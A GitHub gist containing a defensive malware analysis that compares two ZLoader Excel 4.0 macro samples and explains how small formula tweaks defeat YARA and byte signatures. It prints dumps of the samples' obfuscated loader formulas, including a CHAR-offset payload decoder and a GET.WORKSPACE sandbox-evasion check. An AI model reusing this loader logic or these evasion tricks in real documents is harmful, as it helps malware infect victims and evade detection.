Skip to content

Instantly share code, notes, and snippets.

@michaelweber
Last active August 12, 2020 15:23
Show Gist options
  • Save michaelweber/451a4e8fc1824ef5a659a36ca863aed5 to your computer and use it in GitHub Desktop.
Save michaelweber/451a4e8fc1824ef5a659a36ca863aed5 to your computer and use it in GitHub Desktop.
Comparing ZLoader XLM Content

Here's a rough dump of the macros for these two ZLoader payloads using my tool Macrome. One was first seen on August 8th by Abuse.ch, the other was identified by @jcarndt on August 10th. The files are functionally identical, but there are some minor differences that have probably contributed to signature evasion:

  1. User defined functions are being passed random arguments - this changes the BIFF record signature entirely. Note that the arguments aren't actually used. In the Aug 8 sample you'd see something like Formula[GK11912]: EokdmdoLRXOG(), in the Aug 10 sample we see Formula[DK4376]: SnJUk(81003). That value 81003 is used purely to change the look of the invocation on disk - if you were trying to count a bunch of user defined functions in your yara sig, this would break it.

  2. Extra AND and OR functions have been interspersed into functions. This can break up signatures trying to identify blocks of logic like the sandbox evasion statement. Compare IF(OR(AND(APP.MAXIMIZE(),GET.WORKSPACE(19),GET.WORKSPACE(13)>770,GET.WORKSPACE(14)>390,GET.WORKSPACE(31)=FALSE,GET.WORKSPACE(42)),FALSE), ,HALT()) to IF(AND(APP.MAXIMIZE(),GET.WORKSPACE(19),GET.WORKSPACE(13)>770,GET.WORKSPACE(14)>390,GET.WORKSPACE(31)=FALSE,GET.WORKSPACE(42)), ,HALT()). These look very similar, but the first statement has had OR(<actual statement>,FALSE) added which breaks up the Ptg expression at the byte level.

  3. Additional usage of explicitly calling the SUM function, instead of just using math operators. In the Aug 8 sample, we see Formula[GK11776]: pqJHyRjETXlO=pqJHyRjETXlO&CHAR(rBPsytlZfr--333). In the Aug 10 they changed the CHAR(var--333) to CHAR(SUM(var,--334)) which seems fairly minor, but you can actually see it broke my tool Macrome's parsing of the structure Formula[DK4234]: SET.NAME(EMPTYSTACKERROR,"PoYOp"&CHAR(SUM(PoYOp,whtxHTwqetp--334))) (this should be PoYOp=PoYOp&CHAR(SUM(whtxHTwqetp,--334)). In either case, this minor change evades byte signatures as well.

  4. The ZLoader authors changed their individual cell calculation from addition to subtraction (Formula[AU49541]: AK28968+481.71 vs. Formula[EQ43015]: GU16758-(-570.31)). This is a fairly expected change and only modifies a single byte in the signature...except they also wrapped the value in ()s, which changes the length of the formula by 1 byte which could break other signatures.

None of these changes likely required more than tweaking a few lines of code - and they could be fairly easily randomized. It's a good example of asymmetric work for generating a payload vs. the work necessary to make a proper signature.

The abbreviated dumps of each document can be seen below.

August 8

Formula[AU49541]: AK28968+481.71
Formula[EG49542]: AK28971+-869.12
Formula[AU49545]: AK28965+217.18
Formula[EG49546]: AK28966+-305.07
Formula[AU49549]: AK28966+-349.52
Formula[EG49549]: AK28968+557.51
Formula[AU49551]: AK28972+-207.44
Formula[EG49551]: AK28973+445.18
Formula[AU49553]: AK28972+-200.32
Formula[EG49555]: AK28971+-805.64
Formula[EG49557]: AK28967+90.19
Formula[EG49561]: AK28972+-193.22
Formula[EG49563]: AK28966+-349.25
Formula[EG49566]: AK28969+-940.18
Formula[GK11739]: COUNT(G325:AZ516)
Formula[GK11740]: WHILE(AND(rBPsytlZfr=0,TRUE))
Formula[GK11743]: fmCUftg=fmCUftg+1
Formula[GK11747]: CqUrvkcn="She"&"et1!R"&fmCUftg&"C"&CmCebntbGuVr
Formula[GK11750]: rBPsytlZfr=sJSrEfCcR()
Formula[GK11753]: NEXT()
Formula[GK11755]: RETURN()
Formula[GK11759]: CqUrvkcn="She"&"et1!R"&fmCUftg&"C"&CmCebntbGuVr
Formula[GK11763]: rBPsytlZfr=sJSrEfCcR()
Formula[GK11767]: IF(rBPsytlZfr<>"h3nOfcNc", ,RETURN())
Formula[GK11769]: pqJHyRjETXlO=""
Formula[GK11773]: WHILE(rBPsytlZfr<>"h3nOfcNc")
Formula[GK11776]: pqJHyRjETXlO=pqJHyRjETXlO&CHAR(rBPsytlZfr--333)
Formula[GK11778]: fmCUftg=fmCUftg+1
Formula[GK11781]: CqUrvkcn="She"&"et1!R"&fmCUftg&"C"&CmCebntbGuVr
Formula[GK11784]: rBPsytlZfr=sJSrEfCcR()
Formula[GK11786]: BOSFGfEZ()
Formula[GK11789]: NEXT()
Formula[GK11791]: fmCUftg=iIqqb
Formula[GK11794]: CmCebntbGuVr=CmCebntbGuVr+1
Formula[GK11797]: CqUrvkcn="She"&"et1!R"&fmCUftg&"C"&CmCebntbGuVr
Formula[GK11800]: rBPsytlZfr=sJSrEfCcR()
Formula[GK11804]: WHILE(rBPsytlZfr=0)
Formula[GK11808]: CmCebntbGuVr=CmCebntbGuVr+1
Formula[GK11810]: CqUrvkcn="She"&"et1!R"&fmCUftg&"C"&CmCebntbGuVr
Formula[GK11812]: rBPsytlZfr=sJSrEfCcR()
Formula[GK11815]: NEXT()
Formula[GK11817]: CqUrvkcn="NC0l!R"&PqHnioRJotA&"C"&OxASoANZrV
Formula[GK11819]: FORMULA(pqJHyRjETXlO,CqUrvkcn)
Formula[GK11822]: PqHnioRJotA=PqHnioRJotA+1
Formula[GK11826]: MkEMShyie()
Formula[GK11828]: RETURN(TEXTREF(CqUrvkcn,FALSE))
Formula[GK11832]: IF(AND(APP.MAXIMIZE(),GET.WORKSPACE(19),GET.WORKSPACE(13)>770,GET.WORKSPACE(14)>390,GET.WORKSPACE(31)=FALSE,GET.WORKSPACE(42)), ,HALT())
Formula[GK11835]: MkEMShyie=GK11767
Formula[GK11838]: BOSFGfEZ=GK11740
Formula[GK11841]: sJSrEfCcR=GK11828
Formula[GK11844]: vQiLGB=GK11759
Formula[GK11847]: PqHnioRJotA=28964
Formula[GK11849]: OxASoANZrV=37
Formula[GK11853]: iIqqb=4956
Formula[GK11856]: fmCUftg=4956
Formula[GK11859]: CmCebntbGuVr=31
Formula[GK11862]: VVLpBE=AK28965
Formula[GK11864]: vQiLGB()
Formula[GK11867]: VVLpBE()
Formula[GK11870]: PqHnioRJotA=34793
Formula[GK11872]: OxASoANZrV=215
Formula[GK11876]: iIqqb=22243
Formula[GK11879]: fmCUftg=22243
Formula[GK11881]: CmCebntbGuVr=31
Formula[GK11883]: ExhLZSevcF=HG34793
Formula[GK11886]: vQiLGB()
Formula[GK11889]: ExhLZSevcF()
Formula[GK11892]: PqHnioRJotA=59440
Formula[GK11895]: OxASoANZrV=119
Formula[GK11899]: iIqqb=49196
Formula[GK11902]: fmCUftg=49196
Formula[GK11904]: CmCebntbGuVr=11
Formula[GK11908]: EokdmdoLRXOG=DO59440
Formula[GK11910]: vQiLGB()
Formula[GK11912]: EokdmdoLRXOG()
Formula[GK11914]: HALT()

August 10

Formula[EQ42981]: GU16756-(52.7)
Formula[BM42983]: GU16756-(52.42)
Formula[BM42985]: GU16756-(52.61)
Formula[EQ42985]: GU16753-(781.67)
Formula[BM42988]: GU16757-(786.19)
Formula[EQ42988]: GU16754-(429.99)
Formula[EQ42991]: GU16756-(42.4)
Formula[EQ42994]: GU16760-(534.76)
Formula[EQ42996]: GU16760-(495.43)
Formula[EQ43000]: GU16754-(355.35)
Formula[EQ43003]: GU16753-(707.93)
Formula[EQ43005]: GU16761-(219.65)
Formula[EQ43009]: GU16756-(38.67)
Formula[EQ43013]: GU16755-(536.55)
Formula[EQ43015]: GU16758-(-570.31)
Formula[DK4202]: TRIM(AQ138)
Formula[DK4204]: WHILE(AND(whtxHTwqetp=0,TRUE))
Formula[DK4207]: BwxbrWPd=BwxbrWPd+1
Formula[DK4210]: XFiUai="She"&"et1!R"&BwxbrWPd&"C"&OaOgkMkmWvE
Formula[DK4214]: whtxHTwqetp=DiJlYfBdXUCD(71169)
Formula[DK4216]: NEXT()
Formula[DK4219]: RETURN()
Formula[DK4221]: XFiUai="She"&"et1!R"&BwxbrWPd&"C"&OaOgkMkmWvE
Formula[DK4224]: whtxHTwqetp=DiJlYfBdXUCD(72013)
Formula[DK4226]: IF(whtxHTwqetp<>"JCQ", ,RETURN())
Formula[DK4229]: PoYOp=""
Formula[DK4231]: WHILE(whtxHTwqetp<>"JCQ")
Formula[DK4234]: SET.NAME(EMPTYSTACKERROR,"PoYOp"&CHAR(SUM(PoYOp,whtxHTwqetp--334)))
Formula[DK4237]: BwxbrWPd=BwxbrWPd+1
Formula[DK4240]: XFiUai="She"&"et1!R"&BwxbrWPd&"C"&OaOgkMkmWvE
Formula[DK4242]: whtxHTwqetp=DiJlYfBdXUCD(49830)
Formula[DK4246]: bVBlZzwwkj(6684)
Formula[DK4250]: NEXT()
Formula[DK4253]: BwxbrWPd=MiHorQpO
Formula[DK4256]: OaOgkMkmWvE=OaOgkMkmWvE+1
Formula[DK4260]: XFiUai="She"&"et1!R"&BwxbrWPd&"C"&OaOgkMkmWvE
Formula[DK4264]: whtxHTwqetp=DiJlYfBdXUCD(29787)
Formula[DK4266]: WHILE(AND(whtxHTwqetp=0,TRUE))
Formula[DK4269]: OaOgkMkmWvE=OaOgkMkmWvE+1
Formula[DK4272]: XFiUai="She"&"et1!R"&BwxbrWPd&"C"&OaOgkMkmWvE
Formula[DK4275]: whtxHTwqetp=DiJlYfBdXUCD(3357)
Formula[DK4277]: NEXT()
Formula[DK4280]: XFiUai="QLjijB2!R"&WJfUnqVLQ&"C"&NggjUk
Formula[DK4283]: FORMULA(PoYOp,XFiUai)
Formula[DK4286]: WJfUnqVLQ=WJfUnqVLQ+1
Formula[DK4290]: KLloyP(11524)
Formula[DK4294]: RETURN(TEXTREF(XFiUai,FALSE))
Formula[DK4296]: IF(OR(AND(APP.MAXIMIZE(),GET.WORKSPACE(19),GET.WORKSPACE(13)>770,GET.WORKSPACE(14)>390,GET.WORKSPACE(31)=FALSE,GET.WORKSPACE(42)),FALSE), ,HALT())
Formula[DK4298]: KLloyP=DK4226
Formula[DK4300]: bVBlZzwwkj=DK4204
Formula[DK4304]: DiJlYfBdXUCD=DK4294
Formula[DK4306]: qRCuGKLg=DK4221
Formula[DK4308]: WJfUnqVLQ=16752
Formula[DK4311]: NggjUk=203
Formula[DK4314]: MiHorQpO=4313
Formula[DK4316]: BwxbrWPd=4313
Formula[DK4320]: OaOgkMkmWvE=9
Formula[DK4322]: mpBbj=GU16753
Formula[DK4326]: qRCuGKLg(67880)
Formula[DK4329]: mpBbj(15635)
Formula[DK4333]: WJfUnqVLQ=32641
Formula[DK4337]: NggjUk=55
Formula[DK4339]: MiHorQpO=33409
Formula[DK4343]: BwxbrWPd=33409
Formula[DK4346]: OaOgkMkmWvE=6
Formula[DK4350]: QwoVxB=BC32641
Formula[DK4352]: qRCuGKLg(85932)
Formula[DK4354]: QwoVxB(78113)
Formula[DK4356]: WJfUnqVLQ=48716
Formula[DK4359]: NggjUk=190
Formula[DK4363]: MiHorQpO=42635
Formula[DK4365]: BwxbrWPd=42635
Formula[DK4368]: OaOgkMkmWvE=26
Formula[DK4370]: SnJUk=GH48716
Formula[DK4373]: qRCuGKLg(43546)
Formula[DK4376]: SnJUk(81003)
Formula[DK4380]: HALT()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment